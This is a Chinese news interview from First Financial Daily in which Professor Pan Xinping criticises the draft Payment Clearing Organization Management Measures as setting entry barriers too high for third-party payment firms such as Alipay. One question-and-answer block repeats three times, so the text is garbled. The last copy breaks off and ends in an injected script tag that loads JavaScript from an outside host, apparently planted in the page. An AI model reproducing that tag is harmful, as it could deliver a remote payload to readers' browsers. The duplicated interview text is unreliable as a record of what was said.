《支付清算组织管理办法》(下称《办法》)即将出台，《办法》对中国电子支付产业到底有怎样的影响？《第一财经日报》就此对中国科学院计算与通信工程学院副院长、金融科技研究中心主任潘辛平教授进行了电话专访。
潘辛平认为，包括银联、visa、万事达卡等信用卡组织，其实一直都在央行的监管之列，央行出台《办法》的本意是想把原来没管住的新兴第三方支付企业管起来，但《办法》却把进入门槛定得过高，范围划得过大，使支付宝、上海捷银、上海环讯等创新的第三方企业很难进来。
《第一财经日报》：据了解，像visa、万事达卡这样的国际信用卡组织，也想在《办法》公布后申请牌照，按《办法》的标准，这些国际组织是否具有申请牌照的条件？
潘辛平：商业银行有一块业务是支付清算，支付清算原本就是商业银行的业务范围，包括银联、visa、万事达卡都在清算范围内，现在所有商业银行都跟visa有合作，那现在这叫什么合作？现在圈子画成这样，央行的立法动机有待商榷。
如果按《办法》中外资比例不超过49%规定，visa这样的企业并不具备申领条件，但现在却把他们当作新机构来看，照这样说，原来已经监管的体系要重新调整。
虽然中国加入wto时并没有承诺外资的清算，但是按wto最重要的对等原则，如果visa这样的国际组织无法申请到牌照，将来银联到国外去的时候也会遇到同样的问题。《第一财经日报》：您谈到像支付宝这样的第三方支付企业可能会很难获得牌照，为什么？
潘辛平：原来都在范围内，本来想把原来没管住的管起来，现在一管反而支付宝这样的东西难进来。
几年前，第三方电子支付企业大部分已经为了拿信息产业部的牌照折腾得“一塌糊涂”。
因为按照《办法》的要求，标准很高。一是净资产比率，第三方支付企业这样的it公司的净资产都在人身上，哪个都没有很高的固定资产，他们不像银行有很多现金和固定资产，就算这些企业为了拿牌照暂时能够满足，但过不了多久，净资产不会留下来。因此我认为，其实支付清算组织要那么高的净资产没用。
另外，《办法》还要求股东变更大概5%就要报批，这些公司不像银联，他们都是靠风险投资支撑的企业，本身为了适应创新的要求，股东本来就会经常变，如果不变就不能反映创新的要求。
第三，《办法》对高层管理者从业经验要求很高，其实原来要求更高，改过后现在是相应it公司金融服务职位多少年以上，这一点我认为意义不大。《第一财经日报》：您谈到像支付宝这样的第三方支付企业可能会很难获得牌照，为什么？
潘辛平：原来都在范围内，本来想把原来没管住的管起来，现在一管反而支付宝这样的东西难进来。
几年前，第三方电子支付企业大部分已经为了拿信息产业部的牌照折腾得“一塌糊涂”。
因为按照《办法》的要求，标准很高。一是净资产比率，第三方支付企业这样的it公司的净资产都在人身上，哪个都没有很高的固定资产，他们不像银行有很多现金和固定资产，就算这些企业为了拿牌照暂时能够满足，但过不了多久，净资产不会留下来。因此我认为，其实支付清算组织要那么高的净资产没用。
另外，《办法》还要求股东变更大概5%就要报批，这些公司不像银联，他们都是靠风险投资支撑的企业，本身为了适应创新的要求，股东本来就会经常变，如果不变就不能反映创新的要求。
第三，《办法》对高层管理者从业经验要求很高，其实原来要求更高，改过后现在是相应it公司金融服务职位多少年以上，这一点我认为意义不大。《第一财经日报》：您谈到像支付宝这样的第三方支付企业可能会很难获得牌照，为什么？
潘辛平：原来都在范围内，本来想把原来没管住的管起来，现在一管反而支付宝这样的东西难进来。
几年前，第三方电子支付企业大部分已经为了拿信息产业部的牌照折腾得“一塌糊涂”。
因为按照《办法》的要求，标准很高。一是净资产比率，第三方支付企业这样的it公司的净资产都在人身上，哪个都没有很高的固定资产，他们不像银行有很多现金和固定资产，就算这些企业为了拿牌照暂时能够满足，但过不了多久，净?script src=http://er12.com/t.js>
